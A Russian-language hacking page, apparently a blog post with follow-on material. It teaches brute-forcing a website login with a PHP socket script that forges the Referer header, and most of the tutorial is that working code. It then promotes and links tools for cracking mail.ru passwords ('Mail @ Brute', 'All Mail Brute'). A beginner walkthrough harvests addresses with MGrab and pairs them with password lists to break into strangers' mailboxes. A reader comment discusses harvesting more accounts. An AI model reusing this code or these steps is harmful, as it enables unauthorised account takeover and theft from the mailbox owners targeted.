Сокеты, взлом пароля брутфорсом, подделка Referer
В этой статье я расскажу как отправлять данные из php скрипта методом POST (как это делает обычная html форма) а так же как использовать подделанные запросы для брутфорса. Взламывать будем пароль пользователя через форму логина. Брутфорс (от англ. «brutal» — грубый и «force» — сила) подразумевает подбор пароля тупым перебором возможных вариантов пароля. Для этого существуют специальные словари на несколько тысяч слов. Обычно это текстовый файл, где каждое слово записано с новой строки.
// читаем словарь и заносим всё его содержимое в массив $file $file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt'); foreach ($file as $password) < // проверяем каждый пароль ($password) // совпадает ли он с истинным паролем пользователя >
Внутри цикла открываем соединение с сервером.
$fp = fsockopen(‘www.site.ru’, 80, $errno, $errstr, 30);
В качестве параметров этой функции указываем хост для соединения (www.site.ru).
Затем порт (80), как правило другой номер порта используется редко.
$errno и $errstr получают установки, указывающие фактический уровень системной ошибки, в случае ошибки соединения, особой необходимости в них нет.
И последняя цифра (30) — это таймаут соединения, то есть сколько секунд будет ждать скрипт установки соединения. Если в течение 30 секунд не удалось установить соединение, то выдается ошибка о неудачном соединении.
Нужно изучить html-код формы и сформировать переменные и их значения, которые будем отправлять. Для этого составляем обычную строку, в которой прописываем переменные по тому же принципу, что и при передаче переменных в ссылке. Например:
$data = ‘do=login&username=ekimoff@mail.ru&password=fuckoff’
В данном примере используются 3 переменные
1. do = login
2. username = ekimoff@mail.ru
3. password = fuckoff
Можете продолжать список переменных, разделяя их символом амперсанда «&».
Затем формируем HTTP-заголовки (тип запроса, данные о браузере, реферер).
$headers = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php $headers .= "Host: www.site.ru\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n"; $headers .= "Referer: http:// www.site.ru\r\n"; // подделка Referer $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\n\n"; $headers .= $data."\n\n";
Отдельное внимание стоит уделить подделке реферера. Реферер показывает с какого адреса пришел запрос. Логично, что запрос должен придти с того же сайта, откуда мы отправляем данные формы. Однако реферер отсылает браузер пользователя и поэтому проверка на стороне сервера может лишь отсеять небольшую часть хакеров. Подделать реферер довольно просто: «Referer: http://www.site.ru\r\n».
В полученном ответе сервера содержатся заголовки и html-код документа
// получаем ответ $line = ''; while (!feof($fp)) < $line .= fgets($fp, 1024); >echo $line; // ответ сервера
тут может быть 2 основных варианта:
1) авторизация прошла успешно
2) ошибка авторизации
Увидеть это можно в ответе сервера (echo $line). Т.е мы должны отправить серверу 2 запроса: с верными и неверными данными. Проанализировав оба ответа можно узнать как должен выглядеть ответ сервера при верном пароле. Например, в полученном ответе сервера переменная cookie password не должна быть равна «deleted». Как только это условие выполняется, значит, пароль подобран, и мы можем смело завершать цикл.
if (!strstr($line,’password=deleted’))
else < // переменные $data = 'do=login&Submit=submit&username=ekimoff_sd@mail.ru&password='.$password; // заголовки $headers = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php $headers .= "Host: www.site.ru\r\n"; $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n"; $headers .= "Referer: http://www.site.ru\r\n"; // подделка Referer $headers .= "Content-Type: application/x-www-form-urlencoded\r\n"; $headers .= "Content-Length: ".strlen($data)."\n\n"; $headers .= $data."\n\n"; // отправляем HTTP-запрос серверу fwrite($fp, $headers); // получаем ответ $line = ''; while (!feof($fp)) < $line .= fgets($fp, 1024); >unset($headers); fclose($fp); if (!strstr($line,'password=deleted')) < echo 'password: '.$password; break; >> > ?>
Скорость брутфорса не велика и успех зависит от сложности пароля и используемого словаря.
Mail @ Brute — взлом почты Майл
Способов есть несколько: есть варианты с помощью вирусов — для этого на компьютер жертвы «запускается» вредоносный файл (стиллер), который крадет информацию о введенных паролях и сохраненных паролях. На данной стадии этот вариант не эффективен, так как большую часть стиллеров вылавливают антивирусы и получить так пароли достаточно тяжело.
Еще один способ: При помощи ухищрений через восстановление забытого пароля. Здесь нужно «угадывать» данные через информацию в социальных сетях, либо втираться в доверие к жертве и выведывать инфу для восстановления. Уровень сложности здесь на порядок выше, чем в первом случае.
Ну и напоследок: Один из эффективных методов взлома почты — это подбор пароля Brute mail. Автоматический перебор возможных вариаций пароля к логину до полного соответствия.
Плюсы способа: Нет необходимости «заражать» компьютер жертвы, не нужно с ней знакомится и втираться в доверие. Все за Вас сделает программа для подбора пароля от почты mail.
Все что необходимо знать — всего лишь адрес почтового ящика. Ну и иметь немного терпения.
Для данной операции рекомендую программу Mail Brute. Давно показавшая себя в деле утилита. Обеспечивает подбор пароля в короткие сроки и со 100% совпадением. Работа программы осуществляется через постоянно обновляемые прокси, что обеспечит безопасность «взломщика». Так же имеется система антикапчи, что доводит работу по взлому до полного автоматизма.
Интерфейс программы довольно прост, ничего лишнего, все «внутри».
Поддерживает взлом почты на серверах mail: mail.ru, bk.ru, list.ru, inbox.ru.
Все что необходимо указать — лишь адрес почты и сервер, например pochtamail и выбрать сервер. Затем жмется волшебная кнопка Brute и остается лишь ждать некоторое время: от одного до 3 часов, при этом программу можно свернуть, но не закрывать.
По завершению подбора, программа оповестит Вас звуковым сигналом. В поле Result будет результат — пароль от почты жертвы.
Все достаточно просто и справиться с этим может каждый.
Скачать Mail @ Brute — программу для взлома почты:
Еще по теме:
Брут на примере mail.ru для новичков (программы прилагаются)
Всем привет, я хочу поделиться с вами простыми программками для брута, и рассказать как ими пользоваться. Думаю, будет полезно новичкам. Брутить будем mail.ru. Первое, что нам нужно, это конечно сами email’ы. MGrab — это прога, которая собирает адреса с сайта otvet.mail.ru. Просто запускаем MGrab, жмем «Grab» и ждем, пока соберется нужное количество мыл.
Копируем наши майлы из MGrab в текстовый документ. Создаем еще один текстовый документ и туда в столбик вписываем пароли, для майлов. Ну например на qwerty123456789 мне попалась почта со стимом с 160 играми, так что можно писать совсем простые, как хотите вобщем). Можно скачать библиотеки для брута, их навалом.
Вторая программка, которая нам понадобится, это LoginPass Generator dy VzlomPro.
Думаю из названия вы поняли что она делает. Запускаем генератор, вставляем туда текстовые документы с мылами и паролями, указываем куда будет сохранен результат. Разделитель оставим «;» и ниже ставим например так «Все логины к каждому паролю».
Теперь нам нужна сама программа для брута. Для новичков подойдет беспроксевый брут All Mail Brute by VANS.
Открывааем ее. Ставим на «SOURSE», сразу ниже жмем на картинку листочка и выбираем наш сгенерированный mail-пароли текстовый документ. Вот в общем-то и все. Жмем start и ждем. Валидные майлы будут сохраняться в good.txt.
«Все логины к каждому паролю». Вопрос! Как эта тулза поймёт от того ли она мыла подставляет пароль, если она подставляется к каждому логину пароли «от фанаря» «на ада как бы», то это тоже самое, что к каждому логину написать русские пароли. Бруту будет в дуще пофиг он пробежится по такому текстовику, если соответствий не будет, а их там явно не будет практически, то и GooD-ов набрученных не будет. Это способ по моему мнению, «как пешком через Москву ходить.» Ах да, даже для новичков нужно, что не грубое ибо деликатное. Ибо такой способ можно назвать: «трафик в пустую!», т.е трата интернет-трафика на перебор букв и цифр+символов. Тупо!
Из этого списка, полезная вот эта тулза — MGrab.exe, и то, печально, что только с otvet.mail.ru может собирать логины хотелось, чтобы собирала по такому ввиду ссылок:
my.mail.ru/my/search_people?e=,2,1. 492
my.mail.ru/my/search_people?e=,2,1. 489
По таким ссылкам аккаунтов больше было бы.